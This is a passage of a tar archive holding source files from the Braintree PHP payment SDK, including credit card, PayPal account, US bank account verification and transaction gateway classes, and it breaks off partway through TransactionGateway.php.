'Braintree_MerchantAccount_BusinessDetails'); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/MerchantAccount/FundingDetails.php������������������������������������������0000644�����������������00000000377�14720677707�0017717 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\MerchantAccount; use Braintree\Instance; class FundingDetails extends Instance { protected $_attributes = []; } class_alias('Braintree\MerchantAccount\FundingDetails', 'Braintree_MerchantAccount_FundingDetails'); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Xml.php���������������������������������������������������������������������0000644�����������������00000001271�14720677707�0012473 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Braintree Xml parser and generator * PHP version 5 * superclass for Braintree XML parsing and generation */ class Xml { /** * @ignore */ protected function __construct() { } /** * * @param string $xml * @return array */ public static function buildArrayFromXml($xml) { return Xml\Parser::arrayFromXml($xml); } /** * * @param array $array * @return string */ public static function buildXmlFromArray($array) { return Xml\Generator::arrayToXml($array); } } class_alias('Braintree\Xml', 'Braintree_Xml'); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/DocumentUpload.php����������������������������������������������������������0000644�����������������00000003055�14720677707�0014660 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; use InvalidArgumentException; /** * Upload documents to Braintree in exchange for a DocumentUpload object. * * An example of creating a document upload with all available fields: * $result = Braintree\DocumentUpload::create([ * "kind" => Braintree\DocumentUpload::EVIDENCE_DOCUMENT, * "file" => $pngFile * ]); * * For more information on DocumentUploads, see https://developers.braintreepayments.com/reference/request/document_upload/create * * @property-read string $contentType * @property-read \DateTime $expiresAt * @property-read string $id * @property-read string $kind * @property-read string $name * @property-read int $size */ class DocumentUpload extends Base { /* DocumentUpload Kind */ const EVIDENCE_DOCUMENT = "evidence_document"; protected function _initialize($documentUploadAttribs) { $this->_attributes = $documentUploadAttribs; } /** * Creates a DocumentUpload object * @param kind The kind of document * @param file The open file to upload * @throws InvalidArgumentException if the params are not expected */ public static function create($params) { return Configuration::gateway()->documentUpload()->create($params); } public static function factory($attributes) { $instance = new self(); $instance->_initialize($attributes); return $instance; } } class_alias('Braintree\DocumentUpload', 'Braintree_DocumentUpload'); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/UsBankAccountVerificationGateway.php����������������������������������������0000644�����������������00000010070�14720677707�0020315 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; use InvalidArgumentException; /** * Braintree UsBankAccountVerificationGateway module * * @package Braintree * @category Resources */ /** * Manages Braintree UsBankAccountVerifications * * <b>== More information ==</b> * * * @package Braintree * @category Resources */ class UsBankAccountVerificationGateway { private $_gateway; private $_config; private $_http; public function __construct($gateway) { $this->_gateway = $gateway; $this->_config = $gateway->config; $this->_config->assertHasAccessTokenOrKeys(); $this->_http = new Http($gateway->config); } /** * find a usBankAccountVerification by token * * @access public * @param string $token unique id * @return UsBankAccountVerification * @throws Exception\NotFound */ public function find($token) { try { $path = $this->_config->merchantPath() . '/us_bank_account_verifications/' . $token; $response = $this->_http->get($path); return UsBankAccountVerification::factory($response['usBankAccountVerification']); } catch (Exception\NotFound $e) { throw new Exception\NotFound( 'US bank account with token ' . $token . ' not found' ); } } public function search($query) { $criteria = []; foreach ($query as $term) { $criteria[$term->name] = $term->toparam(); } $path = $this->_config->merchantPath() . '/us_bank_account_verifications/advanced_search_ids'; $response = $this->_http->post($path, ['search' => $criteria]); $pager = [ 'object' => $this, 'method' => 'fetch', 'methodArgs' => [$query] ]; return new ResourceCollection($response, $pager); } /** * complete micro transfer verification by confirming the transfer amounts * * @access public * @param string $token unique id * @param array $amounts amounts deposited in micro transfer * @return UsBankAccountVerification * @throws Exception\Unexpected */ public function confirmMicroTransferAmounts($token, $amounts) { try { $path = $this->_config->merchantPath() . '/us_bank_account_verifications/' . $token . '/confirm_micro_transfer_amounts'; $response = $this->_http->put($path, [ "us_bank_account_verification" => ["deposit_amounts" => $amounts] ]); return $this->_verifyGatewayResponse($response); } catch (Exception\Unexpected $e) { throw new Exception\Unexpected( 'Unexpected exception.' ); } } /** * generic method for validating incoming gateway responses * * creates a new UsBankAccountVerification object and encapsulates * it inside a Result\Successful object, or * encapsulates a Errors object inside a Result\Error * alternatively, throws an Unexpected exception if the response is invalid. * * @ignore * @param array $response gateway response values * @return Result\Successful|Result\Error * @throws Exception\Unexpected */ private function _verifyGatewayResponse($response) { if (isset($response['apiErrorResponse'])) { return new Result\Error($response['apiErrorResponse']); } else if (isset($response['usBankAccountVerification'])) { // return a populated instance of UsBankAccountVerification return new Result\Successful( UsBankAccountVerification::factory($response['usBankAccountVerification']) ); } else { throw new Exception\Unexpected( 'Expected US bank account or apiErrorResponse' ); } } } class_alias('Braintree\UsBankAccountVerificationGateway', 'Braintree_UsBankAccountVerificationGateway'); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/CreditCardVerificationSearch.php��������������������������������������������0000644�����������������00000003025�14720677707�0017427 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; class CreditCardVerificationSearch { public static function id() { return new TextNode('id'); } public static function creditCardCardholderName() { return new TextNode('credit_card_cardholder_name'); } public static function billingAddressDetailsPostalCode() { return new TextNode('billing_address_details_postal_code'); } public static function customerEmail() { return new TextNode('customer_email'); } public static function customerId() { return new TextNode('customer_id'); } public static function paymentMethodToken(){ return new TextNode('payment_method_token'); } public static function creditCardExpirationDate() { return new EqualityNode('credit_card_expiration_date'); } public static function creditCardNumber() { return new PartialMatchNode('credit_card_number'); } public static function ids() { return new MultipleValueNode('ids'); } public static function createdAt() { return new RangeNode("created_at"); } public static function creditCardCardType() { return new MultipleValueNode("credit_card_card_type", CreditCard::allCardTypes()); } public static function status() { return new MultipleValueNode("status", Result\CreditCardVerification::allStatuses()); } } class_alias('Braintree\CreditCardVerificationSearch', 'Braintree_CreditCardVerificationSearch'); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/PaymentInstrumentType.php���������������������������������������������������0000644�����������������00000001406�14720677707�0016303 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; class PaymentInstrumentType { const PAYPAL_ACCOUNT = 'paypal_account'; const COINBASE_ACCOUNT = 'coinbase_account'; const EUROPE_BANK_ACCOUNT = 'europe_bank_account'; const CREDIT_CARD = 'credit_card'; const VISA_CHECKOUT_CARD = 'visa_checkout_card'; const MASTERPASS_CARD = 'masterpass_card'; const APPLE_PAY_CARD = 'apple_pay_card'; const ANDROID_PAY_CARD = 'android_pay_card'; const VENMO_ACCOUNT = 'venmo_account'; const US_BANK_ACCOUNT = 'us_bank_account'; const IDEAL_PAYMENT = 'ideal_payment'; const SAMSUNG_PAY_CARD = 'samsung_pay_card'; } class_alias('Braintree\PaymentInstrumentType', 'Braintree_PaymentInstrumentType'); ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/CreditCard.php��������������������������������������������������������������0000644�����������������00000024654�14720677707�0013751 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Braintree CreditCard module * Creates and manages Braintree CreditCards * * <b>== More information ==</b> * * For more detailed information on CreditCards, see {@link https://developers.braintreepayments.com/reference/response/credit-card/php https://developers.braintreepayments.com/reference/response/credit-card/php}<br /> * For more detailed information on CreditCard verifications, see {@link https://developers.braintreepayments.com/reference/response/credit-card-verification/php https://developers.braintreepayments.com/reference/response/credit-card-verification/php} * * @package Braintree * @category Resources * * @property-read \Braintree\Address $billingAddress * @property-read string $bin * @property-read string $cardType * @property-read string $cardholderName * @property-read string $commercial * @property-read \DateTime $createdAt * @property-read string $customerId * @property-read string $customerLocation * @property-read string $debit * @property-read boolean $default * @property-read string $durbinRegulated * @property-read string $expirationDate * @property-read string $expirationMonth * @property-read string $expirationYear * @property-read boolean $expired * @property-read boolean $healthcare * @property-read string $imageUrl * @property-read string $issuingBank * @property-read string $last4 * @property-read string $maskedNumber * @property-read string $payroll * @property-read string $prepaid * @property-read string $productId * @property-read \Braintree\Subscription[] $subscriptions * @property-read string $token * @property-read string $uniqueNumberIdentifier * @property-read \DateTime $updatedAt * @property-read \Braintree\CreditCardVerification|null $verification */ class CreditCard extends Base { // Card Type const AMEX = 'American Express'; const CARTE_BLANCHE = 'Carte Blanche'; const CHINA_UNION_PAY = 'China UnionPay'; const DINERS_CLUB_INTERNATIONAL = 'Diners Club'; const DISCOVER = 'Discover'; const ELO = 'Elo'; const JCB = 'JCB'; const LASER = 'Laser'; const MAESTRO = 'Maestro'; const UK_MAESTRO = 'UK Maestro'; const MASTER_CARD = 'MasterCard'; const SOLO = 'Solo'; const SWITCH_TYPE = 'Switch'; const VISA = 'Visa'; const UNKNOWN = 'Unknown'; // Credit card origination location const INTERNATIONAL = "international"; const US = "us"; const PREPAID_YES = 'Yes'; const PREPAID_NO = 'No'; const PREPAID_UNKNOWN = 'Unknown'; const PAYROLL_YES = 'Yes'; const PAYROLL_NO = 'No'; const PAYROLL_UNKNOWN = 'Unknown'; const HEALTHCARE_YES = 'Yes'; const HEALTHCARE_NO = 'No'; const HEALTHCARE_UNKNOWN = 'Unknown'; const DURBIN_REGULATED_YES = 'Yes'; const DURBIN_REGULATED_NO = 'No'; const DURBIN_REGULATED_UNKNOWN = 'Unknown'; const DEBIT_YES = 'Yes'; const DEBIT_NO = 'No'; const DEBIT_UNKNOWN = 'Unknown'; const COMMERCIAL_YES = 'Yes'; const COMMERCIAL_NO = 'No'; const COMMERCIAL_UNKNOWN = 'Unknown'; const COUNTRY_OF_ISSUANCE_UNKNOWN = "Unknown"; const ISSUING_BANK_UNKNOWN = "Unknown"; const PRODUCT_ID_UNKNOWN = "Unknown"; /* instance methods */ /** * returns false if default is null or false * * @return boolean */ public function isDefault() { return $this->default; } /** * checks whether the card is expired based on the current date * * @return boolean */ public function isExpired() { return $this->expired; } /** * checks whether the card is associated with venmo sdk * * @return boolean */ public function isVenmoSdk() { return $this->venmoSdk; } /** * sets instance properties from an array of values * * @access protected * @param array $creditCardAttribs array of creditcard data * @return void */ protected function _initialize($creditCardAttribs) { // set the attributes $this->_attributes = $creditCardAttribs; // map each address into its own object $billingAddress = isset($creditCardAttribs['billingAddress']) ? Address::factory($creditCardAttribs['billingAddress']) : null; $subscriptionArray = []; if (isset($creditCardAttribs['subscriptions'])) { foreach ($creditCardAttribs['subscriptions'] AS $subscription) { $subscriptionArray[] = Subscription::factory($subscription); } } $this->_set('subscriptions', $subscriptionArray); $this->_set('billingAddress', $billingAddress); $this->_set('expirationDate', $this->expirationMonth . '/' . $this->expirationYear); $this->_set('maskedNumber', $this->bin . '******' . $this->last4); if(isset($creditCardAttribs['verifications']) && count($creditCardAttribs['verifications']) > 0) { $verifications = $creditCardAttribs['verifications']; usort($verifications, [$this, '_compareCreatedAtOnVerifications']); $this->_set('verification', CreditCardVerification::factory($verifications[0])); } } private function _compareCreatedAtOnVerifications($verificationAttrib1, $verificationAttrib2) { return ($verificationAttrib2['createdAt'] < $verificationAttrib1['createdAt']) ? -1 : 1; } /** * returns false if comparing object is not a CreditCard, * or is a CreditCard with a different id * * @param object $otherCreditCard customer to compare against * @return boolean */ public function isEqual($otherCreditCard) { return !($otherCreditCard instanceof self) ? false : $this->token === $otherCreditCard->token; } /** * create a printable representation of the object as: * ClassName[property=value, property=value] * @return string */ public function __toString() { return __CLASS__ . '[' . Util::attributesToString($this->_attributes) .']'; } /** * factory method: returns an instance of CreditCard * to the requesting method, with populated properties * * @ignore * @return CreditCard */ public static function factory($attributes) { $defaultAttributes = [ 'bin' => '', 'expirationMonth' => '', 'expirationYear' => '', 'last4' => '', ]; $instance = new self(); $instance->_initialize(array_merge($defaultAttributes, $attributes)); return $instance; } // static methods redirecting to gateway public static function create($attribs) { return Configuration::gateway()->creditCard()->create($attribs); } public static function createNoValidate($attribs) { return Configuration::gateway()->creditCard()->createNoValidate($attribs); } public static function createFromTransparentRedirect($queryString) { return Configuration::gateway()->creditCard()->createFromTransparentRedirect($queryString); } public static function createCreditCardUrl() { return Configuration::gateway()->creditCard()->createCreditCardUrl(); } public static function expired() { return Configuration::gateway()->creditCard()->expired(); } public static function fetchExpired($ids) { return Configuration::gateway()->creditCard()->fetchExpired($ids); } public static function expiringBetween($startDate, $endDate) { return Configuration::gateway()->creditCard()->expiringBetween($startDate, $endDate); } public static function fetchExpiring($startDate, $endDate, $ids) { return Configuration::gateway()->creditCard()->fetchExpiring($startDate, $endDate, $ids); } public static function find($token) { return Configuration::gateway()->creditCard()->find($token); } public static function fromNonce($nonce) { return Configuration::gateway()->creditCard()->fromNonce($nonce); } public static function credit($token, $transactionAttribs) { return Configuration::gateway()->creditCard()->credit($token, $transactionAttribs); } public static function creditNoValidate($token, $transactionAttribs) { return Configuration::gateway()->creditCard()->creditNoValidate($token, $transactionAttribs); } public static function sale($token, $transactionAttribs) { return Configuration::gateway()->creditCard()->sale($token, $transactionAttribs); } public static function saleNoValidate($token, $transactionAttribs) { return Configuration::gateway()->creditCard()->saleNoValidate($token, $transactionAttribs); } public static function update($token, $attributes) { return Configuration::gateway()->creditCard()->update($token, $attributes); } public static function updateNoValidate($token, $attributes) { return Configuration::gateway()->creditCard()->updateNoValidate($token, $attributes); } public static function updateCreditCardUrl() { return Configuration::gateway()->creditCard()->updateCreditCardUrl(); } public static function updateFromTransparentRedirect($queryString) { return Configuration::gateway()->creditCard()->updateFromTransparentRedirect($queryString); } public static function delete($token) { return Configuration::gateway()->creditCard()->delete($token); } /** @return array */ public static function allCardTypes() { return [ CreditCard::AMEX, CreditCard::CARTE_BLANCHE, CreditCard::CHINA_UNION_PAY, CreditCard::DINERS_CLUB_INTERNATIONAL, CreditCard::DISCOVER, CreditCard::ELO, CreditCard::JCB, CreditCard::LASER, CreditCard::MAESTRO, CreditCard::MASTER_CARD, CreditCard::SOLO, CreditCard::SWITCH_TYPE, CreditCard::VISA, CreditCard::UNKNOWN ]; } } class_alias('Braintree\CreditCard', 'Braintree_CreditCard'); ������������������������������������������������������������������������������������braintree/lib/Braintree/TextNode.php����������������������������������������������������������������0000644�����������������00000000415�14720677707�0013464 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; class TextNode extends PartialMatchNode { public function contains($value) { $this->searchTerms["contains"] = strval($value); return $this; } } class_alias('Braintree\TextNode', 'Braintree_TextNode'); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/PayPalAccountGateway.php����������������������������������������������������0000644�����������������00000012344�14720677707�0015763 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; use InvalidArgumentException; /** * Braintree PayPalAccountGateway module * * @package Braintree * @category Resources */ /** * Manages Braintree PayPalAccounts * * <b>== More information ==</b> * * * @package Braintree * @category Resources */ class PayPalAccountGateway { private $_gateway; private $_config; private $_http; public function __construct($gateway) { $this->_gateway = $gateway; $this->_config = $gateway->config; $this->_config->assertHasAccessTokenOrKeys(); $this->_http = new Http($gateway->config); } /** * find a paypalAccount by token * * @access public * @param string $token paypal accountunique id * @return PayPalAccount * @throws Exception\NotFound */ public function find($token) { $this->_validateId($token); try { $path = $this->_config->merchantPath() . '/payment_methods/paypal_account/' . $token; $response = $this->_http->get($path); return PayPalAccount::factory($response['paypalAccount']); } catch (Exception\NotFound $e) { throw new Exception\NotFound( 'paypal account with token ' . $token . ' not found' ); } } /** * updates the paypalAccount record * * if calling this method in context, $token * is the 2nd attribute. $token is not sent in object context. * * @access public * @param array $attributes * @param string $token (optional) * @return Result\Successful or Result\Error */ public function update($token, $attributes) { Util::verifyKeys(self::updateSignature(), $attributes); $this->_validateId($token); return $this->_doUpdate('put', '/payment_methods/paypal_account/' . $token, ['paypalAccount' => $attributes]); } public function delete($token) { $this->_validateId($token); $path = $this->_config->merchantPath() . '/payment_methods/paypal_account/' . $token; $this->_http->delete($path); return new Result\Successful(); } /** * create a new sale for the current PayPal account * * @param string $token * @param array $transactionAttribs * @return Result\Successful|Result\Error * @see Transaction::sale() */ public function sale($token, $transactionAttribs) { $this->_validateId($token); return Transaction::sale( array_merge( $transactionAttribs, ['paymentMethodToken' => $token] ) ); } public static function updateSignature() { return [ 'token', ['options' => ['makeDefault']] ]; } /** * sends the update request to the gateway * * @ignore * @param string $subPath * @param array $params * @return mixed */ private function _doUpdate($httpVerb, $subPath, $params) { $fullPath = $this->_config->merchantPath() . $subPath; $response = $this->_http->$httpVerb($fullPath, $params); return $this->_verifyGatewayResponse($response); } /** * generic method for validating incoming gateway responses * * creates a new PayPalAccount object and encapsulates * it inside a Result\Successful object, or * encapsulates a Errors object inside a Result\Error * alternatively, throws an Unexpected exception if the response is invalid. * * @ignore * @param array $response gateway response values * @return Result\Successful|Result\Error * @throws Exception\Unexpected */ private function _verifyGatewayResponse($response) { if (isset($response['paypalAccount'])) { // return a populated instance of PayPalAccount return new Result\Successful( PayPalAccount::factory($response['paypalAccount']) ); } else if (isset($response['apiErrorResponse'])) { return new Result\Error($response['apiErrorResponse']); } else { throw new Exception\Unexpected( 'Expected paypal account or apiErrorResponse' ); } } /** * verifies that a valid paypal account identifier is being used * @ignore * @param string $identifier * @param Optional $string $identifierType type of identifier supplied, default 'token' * @throws InvalidArgumentException */ private function _validateId($identifier = null, $identifierType = 'token') { if (empty($identifier)) { throw new InvalidArgumentException( 'expected paypal account id to be set' ); } if (!preg_match('/^[0-9A-Za-z_-]+$/', $identifier)) { throw new InvalidArgumentException( $identifier . ' is an invalid paypal account ' . $identifierType . '.' ); } } } class_alias('Braintree\PayPalAccountGateway', 'Braintree_PayPalAccountGateway'); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/AchMandate.php��������������������������������������������������������������0000644�����������������00000002432�14720677707�0013720 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Braintree AchMandate module * PHP Version 5 * * @package Braintree * * @property-read string $text * @property-read string $acceptedAt */ class AchMandate extends Base { /** * create a printable representation of the object as: * ClassName[property=value, property=value] * @ignore * @return string */ public function __toString() { return __CLASS__ . '[' . Util::attributesToString($this->_attributes) . ']'; } /** * sets instance properties from an array of values * * @ignore * @access protected * @param array $achAttribs array of achMandate data * @return void */ protected function _initialize($achAttribs) { // set the attributes $this->_attributes = $achAttribs; } /** * factory method: returns an instance of AchMandate * to the requesting method, with populated properties * @ignore * @return AchMandate */ public static function factory($attributes) { $instance = new self(); $instance->_initialize($attributes); return $instance; } } class_alias('Braintree\AchMandate', 'Braintree_Mandate'); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/PartnerMerchant.php���������������������������������������������������������0000644�����������������00000001666�14720677707�0015040 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Partner Merchant information that is generated when a partner is connected * to or disconnected from a user. * * Creates an instance of PartnerMerchants * * @package Braintree * * @property-read string $merchantPublicId * @property-read string $publicKey * @property-read string $privateKey * @property-read string $clientSideEncryptionKey * @property-read string $partnerMerchantId */ class PartnerMerchant extends Base { protected $_attributes = []; /** * @ignore */ public static function factory($attributes) { $instance = new self(); $instance->_initialize($attributes); return $instance; } /** * @ignore */ protected function _initialize($attributes) { $this->_attributes = $attributes; } } class_alias('Braintree\PartnerMerchant', 'Braintree_PartnerMerchant'); ��������������������������������������������������������������������������braintree/lib/Braintree/ApplePayOptions.php���������������������������������������������������������0000644�����������������00000001151�14720677707�0015017 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Braintree ApplePayOptions module * Manages configuration and options for Apple Pay * * @package Braintree * @category Resources * * @property-read array $domains */ class ApplePayOptions extends Base { public static function factory($attributes) { $instance = new self(); $instance->_initialize($attributes); return $instance; } protected function _initialize($attributes) { $this->_attributes = $attributes; } } class_alias('Braintree\ApplePayOptions', 'Braintree_ApplePayOptions'); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/TransactionGateway.php������������������������������������������������������0000644�����������������00000051220�14720677707�0015541 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; use InvalidArgumentException; /** * Braintree TransactionGateway processor * Creates and manages transactions * * * <b>== More information ==</b> * * For more detailed information on Transactions, see {@link https://developers.braintreepayments.com/reference/response/transaction/php https://developers.braintreepayments.com/reference/response/transaction/php} * * @package Braintree * @category Resources */ class TransactionGateway { private $_gateway; private $_config; private $_http; public function __construct($gateway) { $this->_gateway = $gateway; $this->_config = $gateway->config; $this->_config->assertHasAccessTokenOrKeys(); $this->_http = new Http($gateway->config); } public function cloneTransaction($transactionId, $attribs) { Util::verifyKeys(self::cloneSignature(), $attribs); return $this->_doCreate('/transactions/' . $transactionId . '/clone', ['transactionClone' => $attribs]); } /** * @ignore * @access private * @param array $attribs * @return Result\Successful|Result\Error */ private function create($attribs) { Util::verifyKeys(self::createSignature(), $attribs); return $this->_doCreate('/transactions', ['transaction' => $attribs]); } /** * @ignore * @access private * @param array $attribs * @return object * @throws Exception\ValidationError */ private function createNoValidate($attribs) { $result = $this->create($attribs); return Util::returnObjectOrThrowException(__CLASS__, $result); } /** * * @deprecated since version 2.3.0 * @access public * @param array $attribs * @return object */ public function createFromTransparentRedirect($queryString) { trigger_error("DEPRECATED: Please use TransparentRedirectRequest::confirm", E_USER_NOTICE); $params = TransparentRedirect::parseAndValidateQueryString( $queryString ); return $this->_doCreate( '/transactions/all/confirm_transparent_redirect_request', ['id' => $params['id']] ); } /** * * @deprecated since version 2.3.0 * @access public * @param none * @return string */ public function createTransactionUrl() { trigger_error("DEPRECATED: Please use TransparentRedirectRequest::url", E_USER_NOTICE); return $this->_config->baseUrl() . $this->_config->merchantPath() . '/transactions/all/create_via_transparent_redirect_request'; } public static function cloneSignature() { return ['amount', 'channel', ['options' => ['submitForSettlement']]]; } /** * creates a full array signature of a valid gateway request * @return array gateway request signature format */ public static function createSignature() { return [ 'amount', 'billingAddressId', 'channel', 'customerId', 'deviceData', 'deviceSessionId', 'fraudMerchantId', 'merchantAccountId', 'orderId', 'paymentMethodNonce', 'paymentMethodToken', 'purchaseOrderNumber', 'recurring', 'serviceFeeAmount', 'sharedPaymentMethodToken', 'sharedPaymentMethodNonce', 'sharedCustomerId', 'sharedShippingAddressId', 'sharedBillingAddressId', 'shippingAddressId', 'taxAmount', 'taxExempt', 'threeDSecureToken', 'transactionSource', 'type', 'venmoSdkPaymentMethodCode', 'shippingAmount', 'discountAmount', 'shipsFromPostalCode', ['riskData' => ['customerBrowser', 'customerIp', 'customer_browser', 'customer_ip'] ], ['creditCard' => ['token', 'cardholderName', 'cvv', 'expirationDate', 'expirationMonth', 'expirationYear', 'number'], ], ['customer' => [ 'id', 'company', 'email', 'fax', 'firstName', 'lastName', 'phone', 'website'], ], ['billing' => [ 'firstName', 'lastName', 'company', 'countryName', 'countryCodeAlpha2', 'countryCodeAlpha3', 'countryCodeNumeric', 'extendedAddress', 'locality', 'postalCode', 'region', 'streetAddress'], ], ['shipping' => [ 'firstName', 'lastName', 'company', 'countryName', 'countryCodeAlpha2', 'countryCodeAlpha3', 'countryCodeNumeric', 'extendedAddress', 'locality', 'postalCode', 'region', 'streetAddress'], ], ['threeDSecurePassThru' => [ 'eciFlag', 'cavv', 'xid'], ], ['options' => [ 'holdInEscrow', 'storeInVault', 'storeInVaultOnSuccess', 'submitForSettlement', 'addBillingAddressToPaymentMethod', 'venmoSdkSession', 'storeShippingAddressInVault', 'payeeId', 'payeeEmail', 'skipAdvancedFraudChecking', 'skipAvs', 'skipCvv', ['creditCard' => ['accountType'] ], ['threeDSecure' => ['required'] ], # TODO: Snake case version included for backwards compatiblity. Remove in the next major version ['three_d_secure' => ['required'] ], ['paypal' => [ 'payeeId', 'payeeEmail', 'customField', 'description', ['supplementaryData' => ['_anyKey_']], ] ], ['amexRewards' => [ 'requestId', 'points', 'currencyAmount', 'currencyIsoCode' ] ], ['venmo' => [ # TODO: Snake case version included for backwards compatiblity. Remove in the next major version 'profile_id', 'profileId' ] ] ], ], ['customFields' => ['_anyKey_']], ['descriptor' => ['name', 'phone', 'url']], ['paypalAccount' => ['payeeId', 'payeeEmail', 'payerId', 'paymentId']], # TODO: Snake case version included for backwards compatiblity. Remove in the next major version ['apple_pay_card' => ['number', 'cardholder_name', 'cryptogram', 'expiration_month', 'expiration_year', 'eci_indicator']], ['applePayCard' => ['number', 'cardholderName', 'cryptogram', 'expirationMonth', 'expirationYear', 'eciIndicator']], ['industry' => ['industryType', ['data' => [ 'folioNumber', 'checkInDate', 'checkOutDate', 'travelPackage', 'departureDate', 'lodgingCheckInDate', 'lodgingCheckOutDate', 'lodgingName', 'roomRate', 'passengerFirstName', 'passengerLastName', 'passengerMiddleInitial', 'passengerTitle', 'issuedDate', 'travelAgencyName', 'travelAgencyCode', 'ticketNumber', 'issuingCarrierCode', 'customerCode', 'fareAmount', 'feeAmount', 'taxAmount', 'restrictedTicket', ['legs' => [ 'conjunctionTicket', 'exchangeTicket', 'couponNumber', 'serviceClass', 'carrierCode', 'fareBasisCode', 'flightNumber', 'departureDate', 'departureAirportCode', 'departureTime', 'arrivalAirportCode', 'arrivalTime', 'stopoverPermitted', 'fareAmount', 'feeAmount', 'taxAmount', 'endorsementOrRestrictions' ] ] ] ] ] ], ['lineItems' => ['quantity', 'name', 'description', 'kind', 'unitAmount', 'unitTaxAmount', 'totalAmount', 'discountAmount', 'taxAmount', 'unitOfMeasure', 'productCode', 'commodityCode', 'url']], ['externalVault' => ['status' , 'previousNetworkTransactionId'], ] ]; } public static function submitForSettlementSignature() { return ['orderId', ['descriptor' => ['name', 'phone', 'url']]]; } public static function updateDetailsSignature() { return ['amount', 'orderId', ['descriptor' => ['name', 'phone', 'url']]]; } public static function refundSignature() { return ['amount', 'orderId']; } /** * * @access public * @param array $attribs * @return Result\Successful|Result\Error */ public function credit($attribs) { return $this->create(array_merge($attribs, ['type' => Transaction::CREDIT])); } /** * * @access public * @param array $attribs * @return Result\Successful|Result\Error * @throws Exception\ValidationError */ public function creditNoValidate($attribs) { $result = $this->credit($attribs); return Util::returnObjectOrThrowException(__CLASS__, $result); } /** * @access public * @param string id * @return Transaction */ public function find($id) { $this->_validateId($id); try { $path = $this->_config->merchantPath() . '/transactions/' . $id; $response = $this->_http->get($path); return Transaction::factory($response['transaction']); } catch (Exception\NotFound $e) { throw new Exception\NotFound( 'transaction with id ' . $id . ' not found' ); } } /** * new sale * @param array $attribs * @return Result\Successful|Result\Error */ public function sale($attribs) { return $this->create(array_merge(['type' => Transaction::SALE], $attribs)); } /** * roughly equivalent to the ruby bang method * @access public * @param array $attribs * @return array * @throws Exception\ValidationsFailed */ public function saleNoValidate($attribs) { $result = $this->sale($attribs); return Util::returnObjectOrThrowException(__CLASS__, $result); } /** * Returns a ResourceCollection of transactions matching the search query. * * If <b>query</b> is a string, the search will be a basic search. * If <b>query</b> is a hash, the search will be an advanced search. * For more detailed information and examples, see {@link https://developers.braintreepayments.com/reference/request/transaction/search/php https://developers.braintreepayments.com/reference/request/transaction/search/php} * * @param mixed $query search query * @param array $options options such as page number * @return ResourceCollection * @throws InvalidArgumentException */ public function search($query) { $criteria = []; foreach ($query as $term) { $criteria[$term->name] = $term->toparam(); } $path = $this->_config->merchantPath() . '/transactions/advanced_search_ids'; $response = $this->_http->post($path, ['search' => $criteria]); if (array_key_exists('searchResults', $response)) { $pager = [ 'object' => $this, 'method' => 'fetch', 'methodArgs' => [$query] ]; return new ResourceCollection($response, $pager); } else { throw new Exception\DownForMaintenance(); } } public function fetch($query, $ids) { $criteria = []; foreach ($query as $term) { $criteria[$term->name] = $term->toparam(); } $criteria["ids"] = TransactionSearch::ids()->in($ids)->toparam(); $path = $this->_config->merchantPath() . '/transactions/advanced_search'; $response = $this->_http->post($path, ['search' => $criteria]); if (array_key_exists('creditCardTransactions', $response)) { return Util::extractattributeasarray( $response['creditCardTransactions'], 'transaction' ); } else { throw new Exception\DownForMaintenance(); } } /** * void a transaction by id * * @param string $id transaction id * @return 